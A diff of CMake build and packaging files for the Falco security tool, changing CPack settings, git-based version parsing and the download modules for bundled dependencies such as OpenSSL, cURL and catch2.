list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")
|
||||
endif()
|
||||
|
||||
if(CPACK_GENERATOR MATCHES "RPM")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco.service _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/usr/lib/systemd/system")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d/")
|
||||
list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/rpm/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/rc.d/init.d")
|
||||
endif()
|
||||
|
||||
if(CPACK_GENERATOR MATCHES "TGZ")
|
||||
set(CPACK_SET_DESTDIR "ON")
|
||||
set(CPACK_STRIP_FILES "OFF")
|
||||
endif()
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
/etc/falco/falco.yaml
|
||||
/etc/falco/falco_rules.yaml
|
||||
/etc/falco/rules.available/application_rules.yaml
|
||||
/etc/falco/falco_rules.local.yaml
|
||||
|
||||
@@ -1,68 +1,30 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
|
||||
set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
|
||||
set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got @falco.org addresses
|
||||
set(CPACK_PACKAGE_CONTACT "opensource@sysdig.com") # todo: change this once we've got @falco.org addresses
|
||||
set(CPACK_PACKAGE_DESCRIPTION_SUMMARY "Falco - Container Native Runtime Security")
|
||||
set(CPACK_PACKAGE_DESCRIPTION_FILE "${PROJECT_SOURCE_DIR}/scripts/description.txt")
|
||||
set(CPACK_PACKAGE_VERSION "${FALCO_VERSION}")
|
||||
set(CPACK_PACKAGE_VERSION_MAJOR "${FALCO_VERSION_MAJOR}")
|
||||
set(CPACK_PACKAGE_VERSION_MINOR "${FALCO_VERSION_MINOR}")
|
||||
set(CPACK_PACKAGE_VERSION_PATCH "${FALCO_VERSION_PATCH}")
|
||||
set(CPACK_PACKAGE_FILE_NAME "${CPACK_PACKAGE_NAME}-${CPACK_PACKAGE_VERSION}-${CMAKE_SYSTEM_PROCESSOR}")
|
||||
set(CPACK_PROJECT_CONFIG_FILE "${PROJECT_SOURCE_DIR}/cmake/cpack/CMakeCPackOptions.cmake")
|
||||
set(CPACK_STRIP_FILES "ON")
|
||||
set(CPACK_PACKAGE_RELOCATABLE "OFF")
|
||||
|
||||
# Built packages will include only the following components
|
||||
set(CPACK_INSTALL_CMAKE_PROJECTS
|
||||
"${CMAKE_CURRENT_BINARY_DIR};${FALCO_COMPONENT_NAME};${FALCO_COMPONENT_NAME};/"
|
||||
"${CMAKE_CURRENT_BINARY_DIR};${DRIVER_COMPONENT_NAME};${DRIVER_COMPONENT_NAME};/"
|
||||
)
|
||||
if(NOT MUSL_OPTIMIZED_BUILD) # static builds do not have plugins
|
||||
list(APPEND CPACK_INSTALL_CMAKE_PROJECTS
|
||||
"${CMAKE_CURRENT_BINARY_DIR};${PLUGINS_COMPONENT_NAME};${PLUGINS_COMPONENT_NAME};/"
|
||||
)
|
||||
endif()
|
||||
set(CPACK_GENERATOR DEB RPM TGZ)
|
||||
|
||||
if(NOT CPACK_GENERATOR)
|
||||
set(CPACK_GENERATOR DEB RPM TGZ)
|
||||
endif()
|
||||
|
||||
message(STATUS "Using package generators: ${CPACK_GENERATOR}")
|
||||
message(STATUS "Package architecture: ${CMAKE_SYSTEM_PROCESSOR}")
|
||||
set(CPACK_DEBIAN_PACKAGE_SECTION "utils")
|
||||
|
||||
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
|
||||
endif()
|
||||
if(${CMAKE_SYSTEM_PROCESSOR} STREQUAL "aarch64")
|
||||
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "arm64")
|
||||
endif()
|
||||
set(CPACK_DEBIAN_PACKAGE_ARCHITECTURE "amd64")
|
||||
set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "https://www.falco.org")
|
||||
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
|
||||
set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0), libyaml-0-2")
|
||||
set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA
|
||||
"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${CMAKE_BINARY_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
|
||||
"${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cmake/cpack/debian/conffiles"
|
||||
)
|
||||
|
||||
set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
|
||||
set(CPACK_RPM_PACKAGE_ARCHITECTURE, "amd64")
|
||||
set(CPACK_RPM_PACKAGE_URL "https://www.falco.org")
|
||||
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, systemd")
|
||||
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postinstall")
|
||||
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/preuninstall")
|
||||
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${CMAKE_BINARY_DIR}/scripts/rpm/postuninstall")
|
||||
set(CPACK_RPM_PACKAGE_REQUIRES "dkms, kernel-devel, libyaml, ncurses")
|
||||
set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")
|
||||
set(CPACK_RPM_PRE_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/preuninstall")
|
||||
set(CPACK_RPM_POST_UNINSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postuninstall")
|
||||
set(CPACK_RPM_PACKAGE_VERSION "${FALCO_VERSION}")
|
||||
set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
|
||||
/usr/src
|
||||
@@ -71,7 +33,9 @@ set(CPACK_RPM_EXCLUDE_FROM_AUTO_FILELIST_ADDITION
|
||||
/etc
|
||||
/usr
|
||||
/usr/bin
|
||||
/usr/share)
|
||||
/usr/share
|
||||
/etc/rc.d
|
||||
/etc/rc.d/init.d)
|
||||
set(CPACK_RPM_PACKAGE_RELOCATABLE "OFF")
|
||||
|
||||
include(CPack)
|
||||
|
||||
@@ -45,7 +45,7 @@ string(REPLACE "\n" ";" output "${output}")
|
||||
# Parse output
|
||||
foreach(line ${output})
|
||||
set(test ${line})
|
||||
# use escape commas to handle properly test cases with commands inside the name
|
||||
# use escape commas to handle properly test cases with commans inside the name
|
||||
string(REPLACE "," "\\," test_name ${test})
|
||||
# ...and add to script
|
||||
add_command(add_test "${prefix}${test}${suffix}" ${TEST_EXECUTOR} "${TEST_EXECUTABLE}" "${test_name}" ${extra_args})
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
@@ -14,8 +14,8 @@ include(ExternalProject)
|
||||
|
||||
set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
|
||||
|
||||
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.13.9.tar.gz URL_HASH
|
||||
SHA256=06dbc7620e3b96c2b69d57bf337028bf245a211b3cddb843835bfe258f427a52)
|
||||
set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.9.1.tar.gz URL_HASH
|
||||
MD5=4980778888fed635bf191d8a86f9f89c)
|
||||
|
||||
ExternalProject_Add(
|
||||
catch2
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
@@ -14,8 +14,8 @@ include(ExternalProject)
|
||||
|
||||
set(FAKEIT_INCLUDE ${CMAKE_BINARY_DIR}/fakeit-prefix/include)
|
||||
|
||||
set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.9.tar.gz URL_HASH
|
||||
SHA256=dc4ee7b17a84c959019b92c20fce6dc9426e9e170b6edf84db6cb2e188520cd7)
|
||||
set(FAKEIT_EXTERNAL_URL URL https://github.com/eranpeer/fakeit/archive/2.0.5.tar.gz URL_HASH
|
||||
MD5=d3d21b909cebaea5b780af5500bf384e)
|
||||
|
||||
ExternalProject_Add(
|
||||
fakeit-external
|
||||
|
||||
@@ -1,30 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
set(STRING_VIEW_LITE_PREFIX ${CMAKE_BINARY_DIR}/string-view-lite-prefix)
|
||||
set(STRING_VIEW_LITE_INCLUDE ${STRING_VIEW_LITE_PREFIX}/include)
|
||||
message(STATUS "Using bundled string-view-lite in ${STRING_VIEW_LITE_INCLUDE}")
|
||||
|
||||
ExternalProject_Add(
|
||||
string-view-lite
|
||||
PREFIX ${STRING_VIEW_LITE_PREFIX}
|
||||
GIT_REPOSITORY "https://github.com/martinmoene/string-view-lite.git"
|
||||
GIT_TAG "v1.4.0"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
UPDATE_COMMAND ""
|
||||
INSTALL_COMMAND
|
||||
${CMAKE_COMMAND} -E copy ${STRING_VIEW_LITE_PREFIX}/src/string-view-lite/include/nonstd/string_view.hpp
|
||||
${STRING_VIEW_LITE_INCLUDE}/nonstd/string_view.hpp)
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
|
||||
@@ -1,18 +1,6 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
# Retrieve git ref and commit hash
|
||||
include(GetGitRevisionDescription)
|
||||
get_git_head_revision(FALCO_REF FALCO_HASH)
|
||||
|
||||
# Create the falco version variable according to git index
|
||||
if(NOT FALCO_VERSION)
|
||||
@@ -21,43 +9,51 @@ if(NOT FALCO_VERSION)
|
||||
git_get_exact_tag(FALCO_TAG)
|
||||
if(NOT FALCO_TAG)
|
||||
# Obtain the closest tag
|
||||
git_describe(FALCO_VERSION "--always" "--tags" "--abbrev=7")
|
||||
git_describe(FALCO_VERSION "--abbrev=0" "--tags") # suppress the long format
|
||||
# Fallback version
|
||||
if(FALCO_VERSION MATCHES "NOTFOUND$")
|
||||
set(FALCO_VERSION "0.0.0")
|
||||
endif()
|
||||
# Format FALCO_VERSION to be semver with prerelease and build part
|
||||
string(REPLACE "-g" "+" FALCO_VERSION "${FALCO_VERSION}")
|
||||
# TODO(leodido) > Construct the prerelease part (semver 2) Construct the Build metadata part (semver 2)
|
||||
if(NOT FALCO_HASH MATCHES "NOTFOUND$")
|
||||
string(SUBSTRING "${FALCO_HASH}" 0 7 FALCO_VERSION_BUILD)
|
||||
# Check whether there are uncommitted changes or not
|
||||
git_local_changes(FALCO_CHANGES)
|
||||
if(FALCO_CHANGES STREQUAL "DIRTY")
|
||||
string(TOLOWER "${FALCO_CHANGES}" FALCO_CHANGES)
|
||||
set(FALCO_VERSION_BUILD "${FALCO_VERSION_BUILD}.${FALCO_CHANGES}")
|
||||
endif()
|
||||
endif()
|
||||
# Append the build metadata part (semver 2)
|
||||
if(FALCO_VERSION_BUILD)
|
||||
set(FALCO_VERSION "${FALCO_VERSION}+${FALCO_VERSION_BUILD}")
|
||||
endif()
|
||||
else()
|
||||
# A tag has been found: use it as the Falco version
|
||||
set(FALCO_VERSION "${FALCO_TAG}")
|
||||
# Remove the starting "v" in case there is one
|
||||
string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_TAG}")
|
||||
endif()
|
||||
# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
|
||||
string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
|
||||
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
|
||||
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
|
||||
"${FALCO_VERSION}")
|
||||
string(
|
||||
REGEX
|
||||
REPLACE
|
||||
"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)*).*"
|
||||
"\\4"
|
||||
FALCO_VERSION_PRERELEASE
|
||||
"${FALCO_VERSION}")
|
||||
if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
|
||||
set(FALCO_VERSION_PRERELEASE "")
|
||||
endif()
|
||||
if(NOT FALCO_VERSION_BUILD)
|
||||
string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
|
||||
endif()
|
||||
if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
|
||||
set(FALCO_VERSION_BUILD "")
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# Remove the starting "v" in case there is one
|
||||
string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_VERSION}")
|
||||
|
||||
# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
|
||||
string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
|
||||
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
|
||||
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
|
||||
"${FALCO_VERSION}")
|
||||
string(
|
||||
REGEX
|
||||
REPLACE
|
||||
"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)(\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*))*).*"
|
||||
"\\5"
|
||||
FALCO_VERSION_PRERELEASE
|
||||
"${FALCO_VERSION}")
|
||||
|
||||
if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
|
||||
set(FALCO_VERSION_PRERELEASE "")
|
||||
endif()
|
||||
if(NOT FALCO_VERSION_BUILD)
|
||||
string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
|
||||
endif()
|
||||
if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
|
||||
set(FALCO_VERSION_BUILD "")
|
||||
endif()
|
||||
|
||||
message(STATUS "Falco version: ${FALCO_VERSION}")
|
||||
|
||||
30
cmake/modules/OpenSSL.cmake
Normal file
30
cmake/modules/OpenSSL.cmake
Normal file
@@ -0,0 +1,30 @@
|
||||
if(NOT USE_BUNDLED_DEPS)
|
||||
find_package(OpenSSL REQUIRED)
|
||||
message(STATUS "Found openssl: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
|
||||
find_program(OPENSSL_BINARY openssl)
|
||||
if(NOT OPENSSL_BINARY)
|
||||
message(FATAL_ERROR "Couldn't find the openssl command line in PATH")
|
||||
else()
|
||||
message(STATUS "Found openssl: binary: ${OPENSSL_BINARY}")
|
||||
endif()
|
||||
else()
|
||||
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
|
||||
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
|
||||
set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
|
||||
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
|
||||
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
|
||||
set(OPENSSL_BINARY "${OPENSSL_INSTALL_DIR}/bin/openssl")
|
||||
|
||||
message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
|
||||
|
||||
ExternalProject_Add(
|
||||
openssl
|
||||
# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
|
||||
URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
|
||||
# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
|
||||
CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND ${CMD_MAKE} install)
|
||||
endif()
|
||||
80
cmake/modules/cURL.cmake
Normal file
80
cmake/modules/cURL.cmake
Normal file
@@ -0,0 +1,80 @@
|
||||
#
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
if(NOT USE_BUNDLED_DEPS)
|
||||
find_package(CURL REQUIRED)
|
||||
message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
|
||||
else()
|
||||
set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
|
||||
set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
|
||||
set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
|
||||
|
||||
if(NOT USE_BUNDLED_OPENSSL)
|
||||
set(CURL_SSL_OPTION "--with-ssl")
|
||||
else()
|
||||
set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
|
||||
message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
|
||||
message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
|
||||
endif()
|
||||
|
||||
externalproject_add(
|
||||
curl
|
||||
DEPENDS openssl
|
||||
# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
|
||||
URL "https://s3.amazonaws.com/download.draios.com/dependencies/curl-7.61.0.tar.bz2"
|
||||
URL_MD5 "31d0a9f48dc796a7db351898a1e5058a"
|
||||
# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
|
||||
CONFIGURE_COMMAND
|
||||
./configure
|
||||
${CURL_SSL_OPTION}
|
||||
--disable-shared
|
||||
--enable-optimize
|
||||
--disable-curldebug
|
||||
--disable-rt
|
||||
--enable-http
|
||||
--disable-ftp
|
||||
--disable-file
|
||||
--disable-ldap
|
||||
--disable-ldaps
|
||||
--disable-rtsp
|
||||
--disable-telnet
|
||||
--disable-tftp
|
||||
--disable-pop3
|
||||
--disable-imap
|
||||
--disable-smb
|
||||
--disable-smtp
|
||||
--disable-gopher
|
||||
--disable-sspi
|
||||
--disable-ntlm-wb
|
||||
--disable-tls-srp
|
||||
--without-winssl
|
||||
--without-darwinssl
|
||||
--without-polarssl
|
||||
--without-cyassl
|
||||
--without-nss
|
||||
--without-axtls
|
||||
--without-ca-path
|
||||
--without-ca-bundle
|
||||
--without-libmetalink
|
||||
--without-librtmp
|
||||
--without-winidn
|
||||
--without-libidn2
|
||||
--without-libpsl
|
||||
--without-nghttp2
|
||||
--without-libssh2
|
||||
--disable-threaded-resolver
|
||||
--without-brotli
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
@@ -1,30 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
function(copy_files_to_build_dir source_files targetsuffix)
|
||||
|
||||
set(build_files)
|
||||
|
||||
foreach(file_path ${source_files})
|
||||
get_filename_component(trace_file ${file_path} NAME)
|
||||
list(APPEND build_files ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
|
||||
endforeach()
|
||||
|
||||
add_custom_target(copy-files-${targetsuffix} ALL
|
||||
DEPENDS ${build_files})
|
||||
|
||||
add_custom_command(OUTPUT ${build_files}
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${source_files} ${CMAKE_CURRENT_BINARY_DIR}
|
||||
DEPENDS ${source_files})
|
||||
|
||||
endfunction()
|
||||
@@ -1,32 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
#
|
||||
# cpp-httplib (https://github.com/yhirose/cpp-httplib)
|
||||
#
|
||||
if(CPPHTTPLIB_INCLUDE)
|
||||
# we already have cpp-httplib
|
||||
else()
|
||||
set(CPPHTTPLIB_SRC "${PROJECT_BINARY_DIR}/cpp-httplib-prefix/src/cpp-httplib")
|
||||
set(CPPHTTPLIB_INCLUDE "${CPPHTTPLIB_SRC}")
|
||||
|
||||
message(STATUS "Using bundled cpp-httplib in '${CPPHTTPLIB_SRC}'")
|
||||
|
||||
ExternalProject_Add(cpp-httplib
|
||||
PREFIX "${PROJECT_BINARY_DIR}/cpp-httplib-prefix"
|
||||
URL "https://github.com/yhirose/cpp-httplib/archive/refs/tags/v0.10.4.tar.gz"
|
||||
URL_HASH "SHA256=7719ff9f309c807dd8a574048764836b6a12bcb7d6ae9e129e7e4289cfdb4bd4"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
@@ -1,23 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(CXXOPTS_SRC "${PROJECT_BINARY_DIR}/cxxopts-prefix/src/cxxopts/")
|
||||
set(CXXOPTS_INCLUDE_DIR "${CXXOPTS_SRC}/include")
|
||||
|
||||
ExternalProject_Add(
|
||||
cxxopts
|
||||
URL "https://github.com/jarro2783/cxxopts/archive/refs/tags/v3.0.0.tar.gz"
|
||||
URL_HASH "SHA256=36f41fa2a46b3c1466613b63f3fa73dc24d912bc90d667147f1e43215a8c6d00"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
@@ -1,48 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(DRIVER_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/driver-repo")
|
||||
set(DRIVER_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/driver-repo")
|
||||
|
||||
file(MAKE_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
|
||||
|
||||
if(DRIVER_SOURCE_DIR)
|
||||
set(DRIVER_VERSION "0.0.0-local")
|
||||
message(STATUS "Using local version for driver: '${DRIVER_SOURCE_DIR}'")
|
||||
else()
|
||||
# DRIVER_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository
|
||||
# which contains the driver source code under the `/driver` directory.
|
||||
# The chosen driver version must be compatible with the given FALCOSECURITY_LIBS_VERSION.
|
